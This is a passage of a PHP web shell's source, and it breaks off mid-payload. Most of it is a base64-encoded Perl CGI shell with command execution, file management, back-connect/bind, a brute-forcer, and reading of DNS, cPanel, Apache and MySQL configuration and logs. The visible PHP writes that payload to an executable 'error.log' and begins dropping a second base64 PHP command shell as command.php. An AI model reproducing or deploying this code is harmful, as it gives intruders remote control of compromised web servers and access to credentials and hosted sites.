5jb2RlcignZCcpXCIgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPgoJCTx0aCB3aWR0aD0nMTAwJz5QZXJtaXNzaW9uPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibm90bGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCW5leHQ7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJyk7IHJldHVybiBmYWxzZTsgXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCW15ICRhY3Rpb24gPSBlbmNvZGVfYmFzZTY0KCJlZGl0ICIuJGZpbGUpOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZDBtYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoMz48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+V2FybmluZyAhIFNoZWxsIGlzIHVzZWQgdG8gcmVmZXIgbm90IHRvIGhhY2s8L2ZvbnQ+PC9oMz4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsKCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLAoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywKCQkJJy92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3Mvc3VwaHBfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9sb2dpbl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsCgkJCScvdXNyL2xvY2FsL3BocC9saWIvcGhwLmluaScsCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1zbG93LmxvZycsCgkJCScvdmFyL215c3FsLmxvZycsCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teS5jbmYnLAoJCQkpOwoJbXkgJGk9MDsKCW15ICRwZXJtczsKCW15ICRzbDsKCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpCgl7CgkJaWYoLXIgJGxvZykKCQl7CgkJCSRwZXJtcz0iT0siOwoJCX1lbHNlCgkJewoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uU3VibWl0PSJFbmNvZGVyKCdsb2ckaScpIj4KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+CgkJCTwvZm9ybT4KCQkJPHRkPiRwZXJtczwvdGQ+CgoJCTwvdHI+CkVORAoJCSRpKys7Cgl9CgkkcmVzdWx0IC49IjwvdGFibGU+IjsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307CiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsKJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsKJFJ1bkNvbW1hbmQgPSBkZWNvZGVfYmFzZTY0KCRpbnsnYyd9KTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlueydhJ307CgokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcigiZCIpOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoJGNobW9kIG5lIDApCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQoJCX0KCX0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsKCWlmKCRyZW5hbWUgbmUgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZVcGxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYnJ1dGVmb3JjZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gYnJ1dGUgZm9yY2UKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZCcnV0ZUZvcmNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJcHJpbnQgJkRvd25sb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0xvZzsKCn1lbHNpZigkQWN0aW9uIGVxICJkb21haW5zdXNlciIpIAkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4KewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3RG9tYWluVXNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9CiZQcmludFBhZ2VGb290ZXI7Cgo=
1340';
1341 $file = fopen("error.log", "w+");
1342 $write = fwrite($file, base64_decode($pythonp));
1343 fclose($file);
1344 chmod("error.log", 0755);
1345 echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
1346} elseif ($action == 'newcommand') {
1347 $file = fopen($dir . "command.php", "w+");
1348 $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyK